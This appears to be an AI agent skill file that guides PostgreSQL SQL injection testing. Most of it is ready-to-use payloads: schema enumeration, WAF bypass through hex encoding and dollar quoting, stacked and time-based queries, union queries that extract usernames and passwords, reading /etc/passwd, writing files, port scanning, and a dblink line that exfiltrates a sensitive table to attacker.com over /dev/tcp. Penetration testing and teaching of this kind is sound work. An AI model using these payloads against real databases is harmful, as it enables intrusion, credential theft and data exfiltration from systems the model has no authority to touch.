PostgreSQL Injection Testing

A comprehensive guide for testing PostgreSQL SQL injection vulnerabilities.

When to Use This Skill

Use this skill when:

• You've identified a SQL injection vulnerability and need to determine if it's PostgreSQL
• You need to enumerate database structure from a PostgreSQL injection point
• You want to exfiltrate data through PostgreSQL injection
• You need to bypass WAFs or input filters targeting PostgreSQL
• You're exploring privilege escalation paths from PostgreSQL
• You need to perform network operations through PostgreSQL (dblink)

Quick Start

1. Confirm PostgreSQL - Use PostgreSQL-specific syntax to verify the database type
2. Enumerate - Extract database schema, tables, and columns
3. Exfiltrate - Pull sensitive data using appropriate techniques
4. Escalate - Explore privilege escalation and network access options

Confirming PostgreSQL

Test with PostgreSQL-specific functions:

-- Check PostgreSQL version
SELECT version();

-- Check if superuser
SELECT current_setting('is_superuser');

-- List databases
SELECT current_database();

Data Enumeration

Get Table Names

-- Simple enumeration
SELECT string_agg(table_name, ',') FROM information_schema.tables;

-- With schema
SELECT string_agg(schemaname || '.' || tablename, ',') FROM pg_tables;

Get Column Names

SELECT string_agg(column_name, ',') FROM information_schema.columns WHERE table_name = 'target_table';

WAF Bypass Techniques

Hex Encoding

Bypass filters by encoding queries as hex:

-- Convert query to hex
SELECT encode('SELECT * FROM users', 'hex');

-- Execute hex-encoded query
SELECT convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8');

-- Combined with query_to_xml
SELECT query_to_xml(convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8'), true, true, '');

String Functions

Use PostgreSQL string functions to construct queries:

-- Character concatenation
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); -- Returns 'AWAE'

-- Dollar quoting (bypass quote restrictions)
SELECT $$SELECT * FROM users$$;
SELECT $tag$SELECT * FROM users$tag$;

XML-Based Extraction

Extract large datasets in single queries:

-- Query to XML
SELECT query_to_xml('SELECT * FROM users', true, true, '');

-- Database to XML (entire database)
SELECT database_to_xml(true, true, '');

Stacked Queries

PostgreSQL supports stacked queries:

-- Basic stacked query
id=1; SELECT pg_sleep(10);-- -

-- Conditional time-based
1; SELECT CASE WHEN (SELECT current_setting('is_superuser'))='on' THEN pg_sleep(10) END;-- -

Network Operations (dblink)

The

dblink

module enables network connections:

-- Connect to external PostgreSQL
SELECT dblink('host=external_db port=5432 dbname=test user=user password=pass', 'SELECT 1');

-- Port scanning
SELECT dblink('host=target port=22', 'SELECT 1');

-- Data exfiltration via dblink
SELECT dblink('host=attacker.com port=5432 dbname=exfil user=x password=x', 'COPY (SELECT * FROM sensitive_data) TO ''/dev/tcp/attacker.com/5432''');

Privilege Escalation

Check Current Privileges

-- Current user
SELECT current_user;

-- Superuser status
SELECT current_setting('is_superuser');

-- Role memberships
SELECT * FROM pg_roles WHERE rolname = current_user;

File Operations

-- Read files (requires superuser)
SELECT pg_read_file('/etc/passwd');

-- Write files (requires superuser)
SELECT pg_write_file('malicious content', '/tmp/malicious.txt');

Error-Based Extraction

Extract data through error messages:

-- Cast to integer to trigger error with data
SELECT CAST(string_agg(table_name, ',') AS INT) FROM information_schema.tables;

-- Combined with query_to_xml
SELECT query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'), true, true, '');

Best Practices

1. Always confirm PostgreSQL before using PostgreSQL-specific techniques
2. Start simple - basic enumeration before complex bypasses
3. Document findings - track what works and what doesn't
4. Respect scope - only test systems you have authorization for
5. Use time-based techniques when blind injection is detected
6. Combine techniques - hex encoding + XML + stacked queries for maximum bypass

Common Payloads

Blind Time-Based

-- Simple sleep
'; SELECT pg_sleep(5);-- -

-- Conditional sleep
'; SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN pg_sleep(5) END;-- -

Boolean-Based

-- True condition
' OR '1'='1'-- -

-- False condition
' OR '1'='2'-- -

-- Check for table
' OR EXISTS(SELECT * FROM users)-- -

Union-Based

-- Find column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

-- Extract data
' UNION SELECT 1, username, password FROM users-- -

References

• PayloadsAllTheThings - PostgreSQL Injection
• PostgreSQL String Functions
• HackTricks - PostgreSQL Pentesting